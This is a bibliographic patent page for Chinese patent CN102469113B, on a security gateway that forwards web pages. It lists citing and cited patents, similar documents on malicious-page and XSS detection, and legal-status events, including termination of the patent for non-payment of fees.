CN (1) | CN102469113B (zh) |
Families Citing this family (21)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
US9231972B2 (en) | 2012-11-13 | 2016-01-05 | Tencent Technology (Shenzhen) Company Limited | Malicious website identifying method and system |
CN103812840B (zh) * | 2012-11-13 | 2018-06-08 | 腾讯科技(深圳)有限公司 | 鉴别恶意网址的方法和系统 |
CN104008328A (zh) * | 2013-02-27 | 2014-08-27 | 联想(北京)有限公司 | 资源加载方法和装置 |
CN103259790B (zh) * | 2013-04-28 | 2017-09-08 | 深信服科技股份有限公司 | 网络安全的防护方法及装置 |
CN103401845B (zh) * | 2013-07-15 | 2017-08-25 | Tcl集团股份有限公司 | 一种网址安全性的检测方法、装置 |
CN104348803B (zh) * | 2013-07-31 | 2018-12-11 | 深圳市腾讯计算机系统有限公司 | 链路劫持检测方法、装置、用户设备、分析服务器及系统 |
CN103634396A (zh) * | 2013-11-28 | 2014-03-12 | 武汉钢铁(集团)公司 | 一种访问内网Web页面服务数据的方法、网关设备及系统 |
CN104935551B (zh) * | 2014-03-18 | 2018-09-04 | 杭州迪普科技股份有限公司 | 一种网页篡改防护装置及方法 |
CN103955548B (zh) * | 2014-05-23 | 2017-07-21 | 北京金山网络科技有限公司 | 一种网页渲染方法及装置 |
CN107294904A (zh) * | 2016-03-30 | 2017-10-24 | 深圳市深信服电子科技有限公司 | 服务器侵入检测方法及网关设备 |
CN107566200B (zh) * | 2016-06-30 | 2021-06-01 | 阿里巴巴集团控股有限公司 | 一种监控方法、装置及系统 |
CN108073828B (zh) * | 2016-11-16 | 2022-02-18 | 阿里巴巴集团控股有限公司 | 一种网页防篡改方法、装置及系统 |
CN108989266B (zh) | 2017-05-31 | 2021-09-10 | 腾讯科技(深圳)有限公司 | 一种防止网页劫持的处理方法和客户端以及服务器 |
CN107231379A (zh) * | 2017-08-01 | 2017-10-03 | 西安交大捷普网络科技有限公司 | web挂马网页的识别方法 |
CN108763930A (zh) * | 2018-04-11 | 2018-11-06 | 哈尔滨工程大学 | 基于最小缓存模型的web页面流式解析方法 |
CN110381118B (zh) * | 2019-06-19 | 2022-03-04 | 平安普惠企业管理有限公司 | 页面数据传输的控制方法和相关设备 |
CN111177596B (zh) * | 2019-12-25 | 2023-08-25 | 微梦创科网络科技(中国)有限公司 | 一种基于lstm模型的url请求分类方法及装置 |
CN111198998B (zh) * | 2019-12-31 | 2023-08-08 | 北京指掌易科技有限公司 | 基于Ajax请求的网络页面加载方法、装置及系统 |
CN112417240A (zh) * | 2020-02-21 | 2021-02-26 | 上海哔哩哔哩科技有限公司 | 网站链接检测方法、装置、计算机设备 |
CN111898128B (zh) * | 2020-08-04 | 2024-04-26 | 北京丁牛科技有限公司 | 一种针对跨站脚本攻击的防御方法及装置 |
CN114598524B (zh) * | 2022-03-07 | 2023-11-17 | 北京百度网讯科技有限公司 | 检测代理工具的方法、装置、设备以及存储介质 |
Citations (8)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
WO2007062673A1 (en) * | 2005-11-30 | 2007-06-07 | Telecom Italia S.P.A. | Method and system for updating applications in mobile communications terminals |
CN101089856A (zh) * | 2007-07-20 | 2007-12-19 | 李沫南 | 一种提取网页数据的方法和Web爬虫系统 |
WO2009061588A1 (en) * | 2007-11-05 | 2009-05-14 | Microsoft Corporation | Cross-site scripting filter |
CN101459548A (zh) * | 2007-12-14 | 2009-06-17 | 北京启明星辰信息技术股份有限公司 | 一种脚本注入攻击检测方法和系统 |
CN101582887A (zh) * | 2009-05-20 | 2009-11-18 | 成都市华为赛门铁克科技有限公司 | 安全防护方法、网关设备及安全防护系统 |
WO2010002816A1 (en) * | 2008-06-30 | 2010-01-07 | Websense, Inc. | System and method for dynamic and real-time categorization of webpages |
CN101692267A (zh) * | 2009-09-15 | 2010-04-07 | 北京大学 | 一种大规模恶意网页检测方法及系统 |
CN101820419A (zh) * | 2010-03-23 | 2010-09-01 | 北京大学 | 一种挂马网页中网页木马挂接点自动定位方法 |
Family Cites Families (1)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
JP4208081B2 (ja) * | 2004-12-27 | 2009-01-14 | インターナショナル・ビジネス・マシーンズ・コーポレーション | 複数のウェブサイトにパーソナライズされた価値を追加するためのシステム、ウェブサーバ、方法およびプログラム |
-
2010
- 2010-11-01 CN CN201010532887.0A patent/CN102469113B/zh not_active Expired - Fee Related
Patent Citations (8)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
WO2007062673A1 (en) * | 2005-11-30 | 2007-06-07 | Telecom Italia S.P.A. | Method and system for updating applications in mobile communications terminals |
CN101089856A (zh) * | 2007-07-20 | 2007-12-19 | 李沫南 | 一种提取网页数据的方法和Web爬虫系统 |
WO2009061588A1 (en) * | 2007-11-05 | 2009-05-14 | Microsoft Corporation | Cross-site scripting filter |
CN101459548A (zh) * | 2007-12-14 | 2009-06-17 | 北京启明星辰信息技术股份有限公司 | 一种脚本注入攻击检测方法和系统 |
WO2010002816A1 (en) * | 2008-06-30 | 2010-01-07 | Websense, Inc. | System and method for dynamic and real-time categorization of webpages |
CN101582887A (zh) * | 2009-05-20 | 2009-11-18 | 成都市华为赛门铁克科技有限公司 | 安全防护方法、网关设备及安全防护系统 |
CN101692267A (zh) * | 2009-09-15 | 2010-04-07 | 北京大学 | 一种大规模恶意网页检测方法及系统 |
CN101820419A (zh) * | 2010-03-23 | 2010-09-01 | 北京大学 | 一种挂马网页中网页木马挂接点自动定位方法 |
Non-Patent Citations (4)
Title |
---|
基于ASP技术XML及Web报表的应用;邓煜钊;《电脑知识与技术》;20071231(第14期);全文 * |
朱海.网络安全之网页挂马攻击分析.《电脑知识与技术》.2010,第6卷(第3期), |
网络安全之网页挂马攻击分析;朱海;《电脑知识与技术》;20100131;第6卷(第3期);全文 * |
邓煜钊.基于ASP技术XML及Web报表的应用.《电脑知识与技术》.2007,(第14期), |
Also Published As
Publication number | Publication date |
---|---|
CN102469113A (zh) | 2012-05-23 |
Similar Documents
Publication | Publication Date | Title |
---|---|---|
CN102469113B (zh) | 一种安全网关及其转发网页的方法 | |
Iqbal et al. | Adgraph: A graph-based approach to ad and tracker blocking | |
US10567407B2 (en) | Method and system for detecting malicious web addresses | |
US9021593B2 (en) | XSS detection method and device | |
US9984171B2 (en) | Systems and methods for detecting false code | |
CN101820419B (zh) | 一种挂马网页中网页木马挂接点自动定位方法 | |
US20110173178A1 (en) | Method and system for obtaining script related information for website crawling | |
US20160065613A1 (en) | System and method for detecting malicious code based on web | |
CN103279710B (zh) | Internet信息系统恶意代码的检测方法和系统 | |
EP2645292A2 (en) | Systems and methods for detecting malicious code | |
CN105184159A (zh) | 网页篡改的识别方法和装置 | |
CN105491053A (zh) | 一种Web恶意代码检测方法及系统 | |
CN101799855B (zh) | 一种基于ActiveX组件模拟的网页木马检测方法 | |
CN111552854A (zh) | 一种网页数据抓取方法、装置、存储介质和设备 | |
CN103577427A (zh) | 基于浏览器内核的网页爬取方法、装置及包含该装置的浏览器 | |
CN103312692B (zh) | 链接地址安全性检测方法及装置 | |
Liang et al. | Malicious web pages detection based on abnormal visibility recognition | |
CN110532455A (zh) | 一种基于Chrome浏览器的网页图片获取方法和系统 | |
CN103336693A (zh) | refer链的创建方法、装置及安全检测设备 | |
CN103561076A (zh) | 一种基于云的网页挂马实时防护方法及系统 | |
Liu et al. | A XSS vulnerability detection approach based on simulating browser behavior | |
EP3502925B1 (en) | Computer system and method for extracting dynamic content from websites | |
CN109246069B (zh) | 网页登录方法、装置和可读存储介质 | |
Barhoom et al. | A new server-side solution for detecting cross site scripting attack | |
CN112287349A (zh) | 安全漏洞检测方法及服务端 |
Legal Events
Date | Code | Title | Description |
---|---|---|---|
C06 | Publication | ||
PB01 | Publication | ||
C10 | Entry into substantive examination | ||
SE01 | Entry into force of request for substantive examination | ||
C14 | Grant of patent or utility model | ||
GR01 | Patent grant | ||
CF01 | Termination of patent right due to non-payment of annual fee | ||
CF01 | Termination of patent right due to non-payment of annual fee |
Granted publication date: 20140820 Termination date: 20201101 |